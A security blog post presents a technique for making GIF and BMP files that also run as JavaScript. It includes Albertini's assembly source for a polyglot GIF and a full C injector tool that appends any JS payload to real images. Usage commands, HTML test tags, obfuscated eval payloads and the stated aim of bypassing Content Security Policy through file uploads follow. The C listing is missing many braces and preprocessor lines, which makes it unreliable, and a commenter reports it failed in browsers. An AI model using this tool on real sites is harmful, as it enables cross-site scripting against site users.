JS via Images

Recently I saw an awesome research by Ange Albertini in abusing a GIF file and injecting JS inside. You can download his code from here The following code is a custom made gif , yet abused by our JS payload.

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
HEIGTH equ 10 ; just to make it easier to spot

db 'GIF89a'
db 0 ; GCT
    db -1 ;  background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0    
; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE

db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0    ; color table

db 2 ; lzw size
;    db 00, 01, 04, 04
;    DATASIZE equ $ - data_start
db 0
db 3bh ; GIF terminator
; end of the GIF
db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 'confirm("Osanda");'

You can compile the code using yasm.
yasm –o image.gif code.asm

Once you give the source as the compiled gif it will be interpreted by the browser.

Can we inject into legit images? Yes we can inject into both gif and bmp images.
In gif images the header would be GIF87a, so if we add GIF87a/*image data*/=1;alert(2); it will be considered as a JS variable and the image data would be commented out, hence it will be nicely interpreted.

The same can be applied to bmp images as well 🙂 BM/*image data*/=1;alert(2);
Here is a small application which I’ve written to inject JS into legit gif and bmp images.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

#define MAX 500
Author: Osanda Malith Jayathissa
E-Mail: osanda[cat]unseen.is
Description: You can hide your JS payload inside a gif or bmp image.
Disclaimer: Author takes no responsibility of any damage you cause. 
            Use this for educational purposes only.
inject(char *payload, char *fname, char *format) {
   int src, dst;
   int firstTimeIn;
   char myPreviousChar;
   char myCurrentChar;
   char newFilename[MAX];

   strcpy(newFilename, fname);
   if (!strcmp(format, "gif")) strcat(newFilename, "_exploit.gif");
   else if (!strcmp(format, "bmp")) strcat(newFilename, "_exploit.bmp");
   else { printf("[-] Invalid File Format\n"); exit(0); }

#ifdef _WIN32
   src = open(fname, O_RDONLY | O_BINARY, 0);
   dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY | O_BINARY, S_IREAD | S_IWRITE);

#elif __unix__
   src = open(fname, O_RDONLY, 0);
   dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);

   firstTimeIn = 1;

   while (read(src, &myCurrentChar, 1)) {
      if (firstTimeIn == 1) {
         firstTimeIn = 0;
         myPreviousChar = myCurrentChar;
      } else {
         if (((myPreviousChar == 0x2A) && (myCurrentChar == 0x2F)) \
          || ((myPreviousChar == 0x2F) && (myCurrentChar == 0x2A))) {
            myPreviousChar = 0x00;
            myCurrentChar = 0x00;
         write(dst, &myPreviousChar, 1);
         myPreviousChar = myCurrentChar;

   write(dst, &myPreviousChar, 1);
   if(!strcmp(format, "gif")) lseek(dst, 6, SEEK_SET);
   else lseek(dst, 2, SEEK_SET);
   write(dst, "\x2F", 1);
   write(dst, "\x2A", 1);

#ifdef _WIN32
   dst = open(newFilename, O_WRONLY | O_APPEND | O_BINARY, 0);

#elif __unix__   
   dst = open(newFilename, O_WRONLY | O_APPEND, 0);

   write(dst, "\x2A", 1);
   write(dst, "\x2F", 1);
   write(dst, "\x3D", 1);
   write(dst, "\x31", 1);
   write(dst, "\x3B", 1);

   write(dst, payload, strlen(payload));

   write(dst, "\x3B", 1);

   printf("\n[+] Successfully written to %s\n", newFilename);

main(int argc, char *argv[]) {
   int i;
   char *fileName;
   char *format;
   char *payloadString;

   printf(" _____                   \n");
   printf("|     |_____ ___ ___ ___ \n");
   printf("|-   -|     | .'| . | -_|\n");
   printf("|_____|_|_|_|__,|_  |___|\n");
   printf("                |___|    \n");
   printf("\t _____         _ ___ _ _           \n");
   printf("\t|   __|_ _ ___| |   |_| |_ ___ ___ \n");
   printf("\t|   __|_'_| . | | | | |  _| -_|  _|\n");
   printf("\t|_____|_,_|  _|_|___|_|_| |___|_|  \n");
   printf("\t          |_|                      \n");
   printf("\n[~] Author: Osanda Malith Jayathissa\n[~] E-Mail: osanda[cat]unseen.is\n");

   if (argc != 7)  {
      printf("\n[-] Usage: %s -i <image file name> -f <gif or bmp> -p <payload string> \n", argv[0]);
      return 1;

   for (i = 1; i < argc; i++)  {
      if (!strcmp(argv[i], "-i")) fileName = argv[i+1];
      if (!strcmp(argv[i], "-f")) format = argv[i+1];
      if (!strcmp(argv[i], "-p")) payloadString = argv[i+1];     
   inject(payloadString, fileName, format);
   return 0;

cl image.c
./image –I yourimage.bmp –f bmp –p prompt\(1337\)

Create a new HTML page to test this as

<img src=”yourimage.bmp_exploit.bmp”>
<script src=”yourimage.bmp_exploit.bmp”></script>

Our payload is nicely placed at the end of image file like this

You could always obfuscate the code 😉

var _0xf1cf=["\x6F\x73\x61\x6E\x64\x61"];alert(_0xf1cf[0]);
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0(\'1\');',2,2,'alert|osanda'.split('|'),0,{}))

This might come handy when you are pentesting in scenarios where there is a Content Security Policy (CSP) which would deny you to load external sources and if the application has file upload features with a WYSIWYG editor, you could exploit this weakness in gif and bmp 🙂

I’d be very grateful to Dimitrios Kalemis for his continuous support in my journey into low level 🙂

Here is a short demo


8 thoughts on “JS via Images

  1. compiled this in VS2013 and it compiles and runs, created both a gif and bmp to test with, both display as images correctly but neither run as scripts on the page. Tested in latest IE and Chrome.

    Seems to look correct in the file as well, I see the end comment */ and then the =1, and then ;alert(1);, tried prompt and javascript:alert(1);, nothing seems to work.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.